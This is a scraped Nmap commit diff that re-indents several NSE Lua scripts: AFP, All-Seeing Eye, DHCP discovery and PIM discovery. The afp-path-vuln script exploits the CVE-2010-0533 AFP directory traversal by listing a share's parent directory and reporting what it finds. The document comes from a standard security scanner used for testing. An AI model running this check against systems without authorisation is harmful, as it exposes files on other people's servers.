1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-15 12:19:02 +00:00

Re-indent some more scripts. Whitespace-only commit

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-02-02 15:33:29 +00:00
parent c7d4f2ec96
commit d309fecd12
50 changed files with 6076 additions and 6076 deletions

View File

@@ -82,26 +82,26 @@ portrule = shortport.portnumber(548, "tcp")
-- @return table suitable for stdnse.format_output -- @return table suitable for stdnse.format_output
local function processResponse( tbl, max_count, out, count ) local function processResponse( tbl, max_count, out, count )
local out = out or {} local out = out or {}
local count = count or 0 local count = count or 0
for _, v in ipairs(tbl) do for _, v in ipairs(tbl) do
if ( max_count and max_count > 0 and max_count <= count ) then if ( max_count and max_count > 0 and max_count <= count ) then
break break
end end
if ( v.name ) then if ( v.name ) then
local sfx = ( v.type == 0x80 ) and "/" or "" local sfx = ( v.type == 0x80 ) and "/" or ""
table.insert(out, v.name .. sfx ) table.insert(out, v.name .. sfx )
count = count + 1 count = count + 1
elseif( type(v) == 'table' ) then elseif( type(v) == 'table' ) then
local tmp = {} local tmp = {}
table.insert( out, tmp ) table.insert( out, tmp )
processResponse( v, max_count, tmp, count ) processResponse( v, max_count, tmp, count )
end end
end end
-- strip the outer table -- strip the outer table
return out[1] return out[1]
end end
--- This function simply checks if the table contains a Directory Id (DID) of 2 --- This function simply checks if the table contains a Directory Id (DID) of 2
@@ -110,111 +110,111 @@ end
-- @param tbl table containing the table as return from the Dir method -- @param tbl table containing the table as return from the Dir method
-- @return true if host is vulnerable, false otherwise -- @return true if host is vulnerable, false otherwise
local function isVulnerable( tbl ) local function isVulnerable( tbl )
for _, v in ipairs(tbl) do for _, v in ipairs(tbl) do
-- if we got no v.id it's probably a container table -- if we got no v.id it's probably a container table
if ( not(v.id) ) then if ( not(v.id) ) then
if ( isVulnerable(v) ) then if ( isVulnerable(v) ) then
return true return true
end end
end end
if ( v.id == 2 ) then if ( v.id == 2 ) then
return true return true
end end
end end
return false return false
end end
action = function(host, port) action = function(host, port)
local status, response, shares local status, response, shares
local afp_helper = afp.Helper:new() local afp_helper = afp.Helper:new()
local args = nmap.registry.args local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' } local users = nmap.registry.afp or { ['nil'] = 'nil' }
local vulnerable = false local vulnerable = false
local MAX_FILES = 5 local MAX_FILES = 5
local afp_vuln = { local afp_vuln = {
title = "Apple Mac OS X AFP server directory traversal", title = "Apple Mac OS X AFP server directory traversal",
IDS = {CVE = 'CVE-2010-0533'}, IDS = {CVE = 'CVE-2010-0533'},
risk_factor = "High", risk_factor = "High",
scores = { scores = {
CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)", CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
}, },
description = [[ description = [[
Directory traversal vulnerability in AFP Server in Apple Mac OS X before Directory traversal vulnerability in AFP Server in Apple Mac OS X before
10.6.3 allows remote attackers to list a share root's parent directory.]], 10.6.3 allows remote attackers to list a share root's parent directory.]],
references = { references = {
'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap', 'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap',
'http://support.apple.com/kb/HT1222', 'http://support.apple.com/kb/HT1222',
}, },
dates = { dates = {
disclosure = {year = '2010', month = '03', day = '29'}, disclosure = {year = '2010', month = '03', day = '29'},
}, },
exploit_results = {}, exploit_results = {},
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
if ( args['afp.username'] ) then if ( args['afp.username'] ) then
users = {} users = {}
users[args['afp.username']] = args['afp.password'] users[args['afp.username']] = args['afp.password']
end end
for username, password in pairs(users) do for username, password in pairs(users) do
status, response = afp_helper:OpenSession(host, port) status, response = afp_helper:OpenSession(host, port)
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(response) stdnse.print_debug(response)
return return
end end
-- Attempt to use No User Authentication? -- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then if ( username ~= 'nil' ) then
status, response = afp_helper:Login(username, password) status, response = afp_helper:Login(username, password)
else else
status, response = afp_helper:Login(nil, nil) status, response = afp_helper:Login(nil, nil)
end end
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug("afp-path-vuln: Login failed", response) stdnse.print_debug("afp-path-vuln: Login failed", response)
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response) stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
return return
end end
status, shares = afp_helper:ListShares() status, shares = afp_helper:ListShares()
for _, share in ipairs(shares) do for _, share in ipairs(shares) do
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } ) local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug(3, "afp-path-vuln: %s", response) stdnse.print_debug(3, "afp-path-vuln: %s", response)
else else
if ( isVulnerable( response ) ) then if ( isVulnerable( response ) ) then
vulnerable = true vulnerable = true
if(nmap.verbosity() > 1) then if(nmap.verbosity() > 1) then
response = processResponse( response ) response = processResponse( response )
local name = share .. "/../" local name = share .. "/../"
table.insert(afp_vuln.exploit_results, table.insert(afp_vuln.exploit_results,
name) name)
else else
response = processResponse( response, MAX_FILES ) response = processResponse( response, MAX_FILES )
local name = share .. ("/../ (%d first items)"):format(MAX_FILES) local name = share .. ("/../ (%d first items)"):format(MAX_FILES)
table.insert(afp_vuln.exploit_results, table.insert(afp_vuln.exploit_results,
name) name)
end end
table.insert(afp_vuln.exploit_results, table.insert(afp_vuln.exploit_results,
response) response)
end end
end end
end end
end end
if ( vulnerable ) then if ( vulnerable ) then
afp_vuln.state = vulns.STATE.EXPLOIT afp_vuln.state = vulns.STATE.EXPLOIT
else else
afp_vuln.state = vulns.STATE.NOT_VULN afp_vuln.state = vulns.STATE.NOT_VULN
end end
return report:make_output(afp_vuln) return report:make_output(afp_vuln)
end end

View File

@@ -90,41 +90,41 @@ http://sourceforge.net/projects/gameq/
-- <elem key="num players">2</elem> -- <elem key="num players">2</elem>
-- <elem key="max players">16</elem> -- <elem key="max players">16</elem>
-- <table key="settings"> -- <table key="settings">
-- <elem key="Dedicated">No</elem> -- <elem key="Dedicated">No</elem>
-- <elem key="Password Required">No</elem> -- <elem key="Password Required">No</elem>
-- <elem key="Time Limit">30</elem> -- <elem key="Time Limit">30</elem>
-- <elem key="Points Limit">200 min.</elem> -- <elem key="Points Limit">200 min.</elem>
-- <elem key="Respawns Limit">unlimited</elem> -- <elem key="Respawns Limit">unlimited</elem>
-- <elem key="Respawn Delay">10 sec.</elem> -- <elem key="Respawn Delay">10 sec.</elem>
-- <elem key="Enemies Visible On Map">No</elem> -- <elem key="Enemies Visible On Map">No</elem>
-- <elem key="Available Inventory Room">Yes</elem> -- <elem key="Available Inventory Room">Yes</elem>
-- <elem key="Identify Enemy Players">No</elem> -- <elem key="Identify Enemy Players">No</elem>
-- <elem key="Available Vehicles">Yes</elem> -- <elem key="Available Vehicles">Yes</elem>
-- <elem key="Vehicle Respaws Limit">unlimited</elem> -- <elem key="Vehicle Respaws Limit">unlimited</elem>
-- <elem key="Vehicle Respawn Delay">30 sec.</elem> -- <elem key="Vehicle Respawn Delay">30 sec.</elem>
-- <elem key="Vehicle Auto Return Time">90 sec.</elem> -- <elem key="Vehicle Auto Return Time">90 sec.</elem>
-- <elem key="Vehicles Visible On Map">Yes</elem> -- <elem key="Vehicles Visible On Map">Yes</elem>
-- <elem key="Team Balance">Off</elem> -- <elem key="Team Balance">Off</elem>
-- <elem key="Friendly Fire">On</elem> -- <elem key="Friendly Fire">On</elem>
-- <elem key="Friends Visible On Map">Yes</elem> -- <elem key="Friends Visible On Map">Yes</elem>
-- </table> -- </table>
-- <table key="players"> -- <table key="players">
-- <table key="player 0"> -- <table key="player 0">
-- <elem key="name">NoVoDondo</elem> -- <elem key="name">NoVoDondo</elem>
-- <elem key="team">BLUE</elem> -- <elem key="team">BLUE</elem>
-- <elem key="skin"></elem> -- <elem key="skin"></elem>
-- <elem key="score">71</elem> -- <elem key="score">71</elem>
-- <elem key="ping">0</elem> -- <elem key="ping">0</elem>
-- <elem key="time"></elem> -- <elem key="time"></elem>
-- </table> -- </table>
-- <table key="player 1"> -- <table key="player 1">
-- <elem key="name">HeroX</elem> -- <elem key="name">HeroX</elem>
-- <elem key="team">RED</elem> -- <elem key="team">RED</elem>
-- <elem key="skin"></elem> -- <elem key="skin"></elem>
-- <elem key="score">0</elem> -- <elem key="score">0</elem>
-- <elem key="ping">11</elem> -- <elem key="ping">11</elem>
-- <elem key="time"></elem> -- <elem key="time"></elem>
-- </table> -- </table>
-- </table> -- </table>
author = "Marin Maržić" author = "Marin Maržić"
@@ -139,94 +139,94 @@ categories = { "discovery", "safe", "version" }
-- @return ret_pos the position after the last unpacked byte -- @return ret_pos the position after the last unpacked byte
-- @return string the unpacked string -- @return string the unpacked string
local unpack_str = function(str, pos) local unpack_str = function(str, pos)
local ret_pos = pos + str:byte(pos) local ret_pos = pos + str:byte(pos)
return ret_pos, string.sub(str, pos + 1, ret_pos - 1) return ret_pos, string.sub(str, pos + 1, ret_pos - 1)
end end
portrule = shortport.version_port_or_service({1258,2126,3123,12444,13200,23196,26000,27138,27244,27777,28138}, "allseeingeye", "udp") portrule = shortport.version_port_or_service({1258,2126,3123,12444,13200,23196,26000,27138,27244,27777,28138}, "allseeingeye", "udp")
action = function(host, port) action = function(host, port)
local status, data = comm.exchange(host, port.number, "s", { proto = "udp", timeout = 3000 }) local status, data = comm.exchange(host, port.number, "s", { proto = "udp", timeout = 3000 })
if not status then if not status then
return return
end end
-- UDP port is open -- UDP port is open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
if not string.match(data, "^EYE1") then if not string.match(data, "^EYE1") then
return return
end end
-- Detected; extract fields -- Detected; extract fields
local o = stdnse.output_table() local o = stdnse.output_table()
local pos = 5 local pos = 5
pos, o["game"] = unpack_str(data, pos) pos, o["game"] = unpack_str(data, pos)
pos, o["port"] = unpack_str(data, pos) pos, o["port"] = unpack_str(data, pos)
pos, o["server name"] = unpack_str(data, pos) pos, o["server name"] = unpack_str(data, pos)
pos, o["game type"] = unpack_str(data, pos) pos, o["game type"] = unpack_str(data, pos)
pos, o["map"] = unpack_str(data, pos) pos, o["map"] = unpack_str(data, pos)
pos, o["version"] = unpack_str(data, pos) pos, o["version"] = unpack_str(data, pos)
pos, o["passworded"] = unpack_str(data, pos) pos, o["passworded"] = unpack_str(data, pos)
pos, o["num players"] = unpack_str(data, pos) pos, o["num players"] = unpack_str(data, pos)
pos, o["max players"] = unpack_str(data, pos) pos, o["max players"] = unpack_str(data, pos)
-- extract the key-value pairs -- extract the key-value pairs
local kv = stdnse.output_table() local kv = stdnse.output_table()
o["settings"] = kv o["settings"] = kv
while data:byte(pos) ~= 1 do while data:byte(pos) ~= 1 do
local key, value local key, value
pos, key = unpack_str(data, pos) pos, key = unpack_str(data, pos)
pos, value = unpack_str(data, pos) pos, value = unpack_str(data, pos)
kv[key] = value kv[key] = value
end end
pos = pos + 1 pos = pos + 1
-- extract player info -- extract player info
local players = stdnse.output_table() local players = stdnse.output_table()
o["players"] = players o["players"] = players
local playernum = 0 local playernum = 0
while pos <= #data do while pos <= #data do
local flags = data:byte(pos) local flags = data:byte(pos)
pos = pos + 1 pos = pos + 1
local player = stdnse.output_table() local player = stdnse.output_table()
if bit.band(flags, 1) ~= 0 then if bit.band(flags, 1) ~= 0 then
pos, player.name = unpack_str(data, pos) pos, player.name = unpack_str(data, pos)
end end
if bit.band(flags, 2) ~= 0 then if bit.band(flags, 2) ~= 0 then
pos, player.team = unpack_str(data, pos) pos, player.team = unpack_str(data, pos)
end end
if bit.band(flags, 4) ~= 0 then if bit.band(flags, 4) ~= 0 then
pos, player.skin = unpack_str(data, pos) pos, player.skin = unpack_str(data, pos)
end end
if bit.band(flags, 8) ~= 0 then if bit.band(flags, 8) ~= 0 then
pos, player.score = unpack_str(data, pos) pos, player.score = unpack_str(data, pos)
end end
if bit.band(flags, 16) ~= 0 then if bit.band(flags, 16) ~= 0 then
pos, player.ping = unpack_str(data, pos) pos, player.ping = unpack_str(data, pos)
end end
if bit.band(flags, 32) ~= 0 then if bit.band(flags, 32) ~= 0 then
pos, player.time = unpack_str(data, pos) pos, player.time = unpack_str(data, pos)
end end
players["player " .. playernum] = player players["player " .. playernum] = player
playernum = playernum + 1 playernum = playernum + 1
end end
port.version.name = "ase" port.version.name = "ase"
port.version.name_confidence = 10 port.version.name_confidence = 10
port.version.product = "All-Seeing Eye" port.version.product = "All-Seeing Eye"
local passworded_string local passworded_string
if o["passworded"] == "0" then if o["passworded"] == "0" then
passworded_string = "; no password" passworded_string = "; no password"
else else
passworded_string = "; has password" passworded_string = "; has password"
end end
port.version.extrainfo = "game: " .. o["game"] .. " " .. o["version"] .. "; port: " .. o["port"] .. passworded_string port.version.extrainfo = "game: " .. o["game"] .. " " .. o["version"] .. "; port: " .. o["port"] .. passworded_string
nmap.set_port_version(host, port, "hardmatched") nmap.set_port_version(host, port, "hardmatched")
return o return o
end end

View File

@@ -51,27 +51,27 @@ categories = {"broadcast", "safe"}
prerule = function() prerule = function()
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
-- Creates a random MAC address -- Creates a random MAC address
-- --
-- @return mac_addr string containing a random MAC -- @return mac_addr string containing a random MAC
local function randomizeMAC() local function randomizeMAC()
local mac_addr = "" local mac_addr = ""
for j=1, 6 do for j=1, 6 do
mac_addr = mac_addr .. string.char(math.random(1, 255)) mac_addr = mac_addr .. string.char(math.random(1, 255))
end end
return mac_addr return mac_addr
end end
-- Gets a list of available interfaces based on link and up filters -- Gets a list of available interfaces based on link and up filters
@@ -80,18 +80,18 @@ end
-- @param up string containing the interface status to filter -- @param up string containing the interface status to filter
-- @return result table containing the matching interfaces -- @return result table containing the matching interfaces
local function getInterfaces(link, up) local function getInterfaces(link, up)
if( not(nmap.list_interfaces) ) then return end if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces() local interfaces, err = nmap.list_interfaces()
local result local result
if ( not(err) ) then if ( not(err) ) then
for _, iface in ipairs(interfaces) do for _, iface in ipairs(interfaces) do
if ( iface.link == link and iface.up == up ) then if ( iface.link == link and iface.up == up ) then
result = result or {} result = result or {}
result[iface.device] = true result[iface.device] = true
end end
end end
end end
return result return result
end end
-- Listens for an incoming dhcp response -- Listens for an incoming dhcp response
@@ -101,113 +101,113 @@ end
-- @param xid the DHCP transaction id -- @param xid the DHCP transaction id
-- @param result a table to which the result is written -- @param result a table to which the result is written
local function dhcp_listener(sock, timeout, xid, result) local function dhcp_listener(sock, timeout, xid, result)
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
sock:set_timeout(100) sock:set_timeout(100)
local start_time = nmap.clock_ms() local start_time = nmap.clock_ms()
while( nmap.clock_ms() - start_time < timeout ) do while( nmap.clock_ms() - start_time < timeout ) do
local status, _, _, data = sock:pcap_receive() local status, _, _, data = sock:pcap_receive()
-- abort, once another thread has picked up our response -- abort, once another thread has picked up our response
if ( #result > 0 ) then if ( #result > 0 ) then
sock:close() sock:close()
condvar "signal" condvar "signal"
return return
end end
if ( status ) then if ( status ) then
local p = packet.Packet:new( data, #data ) local p = packet.Packet:new( data, #data )
if ( p and p.udp_dport ) then if ( p and p.udp_dport ) then
local data = data:sub(p.udp_offset + 9) local data = data:sub(p.udp_offset + 9)
local status, response = dhcp.dhcp_parse(data, xid) local status, response = dhcp.dhcp_parse(data, xid)
if ( status ) then if ( status ) then
table.insert( result, response ) table.insert( result, response )
sock:close() sock:close()
condvar "signal" condvar "signal"
return return
end end
end end
end end
end end
sock:close() sock:close()
condvar "signal" condvar "signal"
end end
action = function() action = function()
local host, port = "255.255.255.255", 67 local host, port = "255.255.255.255", 67
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-dhcp-discover.timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-dhcp-discover.timeout"))
timeout = (timeout or 10) * 1000 timeout = (timeout or 10) * 1000
-- randomizing the MAC could exhaust dhcp servers with small scopes -- randomizing the MAC could exhaust dhcp servers with small scopes
-- if ran multiple times, so we should probably refrain from doing -- if ran multiple times, so we should probably refrain from doing
-- this? -- this?
local mac = string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC() local mac = string.char(0xDE,0xAD,0xC0,0xDE,0xCA,0xFE)--randomizeMAC()
local interfaces local interfaces
-- first check if the user supplied an interface -- first check if the user supplied an interface
if ( nmap.get_interface() ) then if ( nmap.get_interface() ) then
interfaces = { [nmap.get_interface()] = true } interfaces = { [nmap.get_interface()] = true }
else else
-- As the response will be sent to the "offered" ip address we need -- As the response will be sent to the "offered" ip address we need
-- to use pcap to pick it up. However, we don't know what interface -- to use pcap to pick it up. However, we don't know what interface
-- our packet went out on, so lets get a list of all interfaces and -- our packet went out on, so lets get a list of all interfaces and
-- run pcap on all of them, if they're a) up and b) ethernet. -- run pcap on all of them, if they're a) up and b) ethernet.
interfaces = getInterfaces("ethernet", "up") interfaces = getInterfaces("ethernet", "up")
end end
if( not(interfaces) ) then return "\n ERROR: Failed to retrieve interfaces (try setting one explicitly using -e)" end if( not(interfaces) ) then return "\n ERROR: Failed to retrieve interfaces (try setting one explicitly using -e)" end
local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF)) local transaction_id = bin.pack("<I", math.random(0, 0x7FFFFFFF))
local request_type = dhcp.request_types["DHCPDISCOVER"] local request_type = dhcp.request_types["DHCPDISCOVER"]
local ip_address = bin.pack(">I", ipOps.todword("0.0.0.0")) local ip_address = bin.pack(">I", ipOps.todword("0.0.0.0"))
-- we nead to set the flags to broadcast -- we nead to set the flags to broadcast
local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil local request_options, overrides, lease_time = nil, { flags = 0x8000 }, nil
local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id) local status, packet = dhcp.dhcp_build(request_type, ip_address, mac, nil, request_options, overrides, lease_time, transaction_id)
if (not(status)) then return "\n ERROR: Failed to build packet" end if (not(status)) then return "\n ERROR: Failed to build packet" end
local threads = {} local threads = {}
local result = {} local result = {}
local condvar = nmap.condvar(result) local condvar = nmap.condvar(result)
-- start a listening thread for each interface -- start a listening thread for each interface
for iface, _ in pairs(interfaces) do for iface, _ in pairs(interfaces) do
local sock, co local sock, co
sock = nmap.new_socket() sock = nmap.new_socket()
sock:pcap_open(iface, 1500, false, "ip && udp && port 68") sock:pcap_open(iface, 1500, false, "ip && udp && port 68")
co = stdnse.new_thread( dhcp_listener, sock, timeout, transaction_id, result ) co = stdnse.new_thread( dhcp_listener, sock, timeout, transaction_id, result )
threads[co] = true threads[co] = true
end end
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
socket:bind(nil, 68) socket:bind(nil, 68)
socket:sendto( host, port, packet ) socket:sendto( host, port, packet )
socket:close() socket:close()
-- wait until all threads are done -- wait until all threads are done
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end if coroutine.status(thread) == "dead" then threads[thread] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
local response = {} local response = {}
-- Display the results -- Display the results
for i, r in ipairs(result) do for i, r in ipairs(result) do
table.insert(response, string.format("IP Offered: %s", r.yiaddr_str)) table.insert(response, string.format("IP Offered: %s", r.yiaddr_str))
for _, v in ipairs(r.options) do for _, v in ipairs(r.options) do
if(type(v['value']) == 'table') then if(type(v['value']) == 'table') then
table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value']))) table.insert(response, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
else else
table.insert(response, string.format("%s: %s\n", v['name'], v['value'])) table.insert(response, string.format("%s: %s\n", v['name'], v['value']))
end end
end end
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -41,61 +41,61 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "safe", "broadcast"} categories = {"discovery", "safe", "broadcast"}
prerule = function() prerule = function()
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME) stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false return false
end end
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
-- Generates a raw PIM Hello message. -- Generates a raw PIM Hello message.
--@return hello Raw PIM Hello message --@return hello Raw PIM Hello message
local helloRaw = function() local helloRaw = function()
-- Version: 2, Type: Hello (0) -- Version: 2, Type: Hello (0)
local hello_raw = bin.pack(">C", 0x20) local hello_raw = bin.pack(">C", 0x20)
-- Reserved -- Reserved
hello_raw = hello_raw.. bin.pack(">C", 0x00) hello_raw = hello_raw.. bin.pack(">C", 0x00)
-- Checksum: Calculated later -- Checksum: Calculated later
hello_raw = hello_raw.. bin.pack(">S", 0x0000) hello_raw = hello_raw.. bin.pack(">S", 0x0000)
-- Options (TLVs) -- Options (TLVs)
-- Hold time 1 second -- Hold time 1 second
hello_raw = hello_raw.. bin.pack(">SSS", 0x01, 0x02, 0x01) hello_raw = hello_raw.. bin.pack(">SSS", 0x01, 0x02, 0x01)
-- Generation ID: Random -- Generation ID: Random
hello_raw = hello_raw.. bin.pack(">SSI", 0x14, 0x04, math.random(23456)) hello_raw = hello_raw.. bin.pack(">SSI", 0x14, 0x04, math.random(23456))
-- DR Priority: 1 -- DR Priority: 1
hello_raw = hello_raw.. bin.pack(">SSI", 0x13, 0x04, 0x01) hello_raw = hello_raw.. bin.pack(">SSI", 0x13, 0x04, 0x01)
-- State fresh capable: Version = 1, interval = 0, Reserved -- State fresh capable: Version = 1, interval = 0, Reserved
hello_raw = hello_raw.. bin.pack(">SSCCS", 0x15, 0x04, 0x01, 0x00, 0x00) hello_raw = hello_raw.. bin.pack(">SSCCS", 0x15, 0x04, 0x01, 0x00, 0x00)
-- Calculate checksum -- Calculate checksum
hello_raw = hello_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(hello_raw)) .. hello_raw:sub(5) hello_raw = hello_raw:sub(1,2) .. bin.pack(">S", packet.in_cksum(hello_raw)) .. hello_raw:sub(5)
return hello_raw return hello_raw
end end
-- Sends a PIM Hello message. -- Sends a PIM Hello message.
--@param interface Network interface to use. --@param interface Network interface to use.
--@param dstip Destination IP to which send the Hello. --@param dstip Destination IP to which send the Hello.
local helloQuery = function(interface, dstip) local helloQuery = function(interface, dstip)
local hello_packet, sock, eth_hdr local hello_packet, sock, eth_hdr
local srcip = interface.address local srcip = interface.address
local hello_raw = helloRaw() local hello_raw = helloRaw()
local ip_raw = bin.pack("H", "45c00040ed780000016718bc0a00c8750a00c86b") .. hello_raw local ip_raw = bin.pack("H", "45c00040ed780000016718bc0a00c8750a00c86b") .. hello_raw
hello_packet = packet.Packet:new(ip_raw, ip_raw:len()) hello_packet = packet.Packet:new(ip_raw, ip_raw:len())
hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip)) hello_packet:ip_set_bin_src(ipOps.ip_to_str(srcip))
hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip)) hello_packet:ip_set_bin_dst(ipOps.ip_to_str(dstip))
hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum() hello_packet:ip_set_len(ip_raw:len()) hello_packet:ip_count_checksum()
sock = nmap.new_dnet() sock = nmap.new_dnet()
sock:ethernet_open(interface.device) sock:ethernet_open(interface.device)
-- Ethernet multicast for PIM, our ethernet address and packet type IP -- Ethernet multicast for PIM, our ethernet address and packet type IP
eth_hdr = bin.pack(">HAS", "01 00 5e 00 00 0d", interface.mac, 0x0800) eth_hdr = bin.pack(">HAS", "01 00 5e 00 00 0d", interface.mac, 0x0800)
sock:ethernet_send(eth_hdr .. hello_packet.buf) sock:ethernet_send(eth_hdr .. hello_packet.buf)
sock:ethernet_close() sock:ethernet_close()
end end
-- Listens for PIM Hello messages. -- Listens for PIM Hello messages.
@@ -103,90 +103,90 @@ end
--@param timeout Time to listen for a response. --@param timeout Time to listen for a response.
--@param responses table to insert responders' IPs into. --@param responses table to insert responders' IPs into.
local helloListen = function(interface, timeout, responses) local helloListen = function(interface, timeout, responses)
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
local start = nmap.clock_ms() local start = nmap.clock_ms()
local listener = nmap.new_socket() local listener = nmap.new_socket()
local p, hello_raw, status, l3data, _ local p, hello_raw, status, l3data, _
-- PIM packets that are sent to 224.0.0.13 and not coming from our host -- PIM packets that are sent to 224.0.0.13 and not coming from our host
local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address local filter = 'ip proto 103 and dst host 224.0.0.13 and src host not ' .. interface.address
listener:set_timeout(100) listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter) listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive() status, _, _, l3data = listener:pcap_receive()
if status then if status then
p = packet.Packet:new(l3data, #l3data) p = packet.Packet:new(l3data, #l3data)
hello_raw = string.sub(l3data, p.ip_hl*4 + 1) hello_raw = string.sub(l3data, p.ip_hl*4 + 1)
-- Check that PIM Type is Hello -- Check that PIM Type is Hello
if p and hello_raw:byte(1) == 0x20 then if p and hello_raw:byte(1) == 0x20 then
table.insert(responses, p.ip_src) table.insert(responses, p.ip_src)
end end
end
end end
condvar("signal") end
condvar("signal")
end end
--- Returns the network interface used to send packets to the destination host. --- Returns the network interface used to send packets to the destination host.
--@param destination host to which the interface is used. --@param destination host to which the interface is used.
--@return interface Network interface used for destination host. --@return interface Network interface used for destination host.
local getInterface = function(destination) local getInterface = function(destination)
-- First, create dummy UDP connection to get interface -- First, create dummy UDP connection to get interface
local sock = nmap.new_socket() local sock = nmap.new_socket()
local status, err = sock:connect(destination, "12345", "udp") local status, err = sock:connect(destination, "12345", "udp")
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
local status, address, _, _, _ = sock:get_info() local status, address, _, _, _ = sock:get_info()
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
for _, interface in pairs(nmap.list_interfaces()) do for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then if interface.address == address then
return interface return interface
end
end end
end
end end
action = function() action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local responses = {} local responses = {}
timeout = (timeout or 5) * 1000 timeout = (timeout or 5) * 1000
local mcast = "224.0.0.13" local mcast = "224.0.0.13"
-- Get the network interface to use -- Get the network interface to use
local interface = nmap.get_interface() local interface = nmap.get_interface()
if interface then if interface then
interface = nmap.get_interface_info(interface) interface = nmap.get_interface_info(interface)
else
interface = getInterface(mcast)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
end
stdnse.print_debug("%s: will send via %s interface.", SCRIPT_NAME, interface.shortname)
-- Launch listener
stdnse.new_thread(helloListen, interface, timeout, responses)
-- Send Hello after small sleep so the listener doesn't miss any responses
stdnse.sleep(0.1)
helloQuery(interface, mcast)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
table.sort(responses)
if target.ALLOW_NEW_TARGETS then
for _, response in pairs(responses) do
target.add(response)
end
else else
interface = getInterface(mcast) table.insert(responses,"Use the newtargets script-arg to add the results as targets")
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(mcast)
end
stdnse.print_debug("%s: will send via %s interface.", SCRIPT_NAME, interface.shortname)
-- Launch listener
stdnse.new_thread(helloListen, interface, timeout, responses)
-- Send Hello after small sleep so the listener doesn't miss any responses
stdnse.sleep(0.1)
helloQuery(interface, mcast)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
table.sort(responses)
if target.ALLOW_NEW_TARGETS then
for _, response in pairs(responses) do
target.add(response)
end
else
table.insert(responses,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, responses)
end end
return stdnse.format_output(true, responses)
end
end end

View File

@@ -60,21 +60,21 @@ categories = {"discovery","safe","broadcast"}
prerule = function() prerule = function()
if not nmap.is_privileged() then if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then if not nmap.registry[SCRIPT_NAME].rootfail then
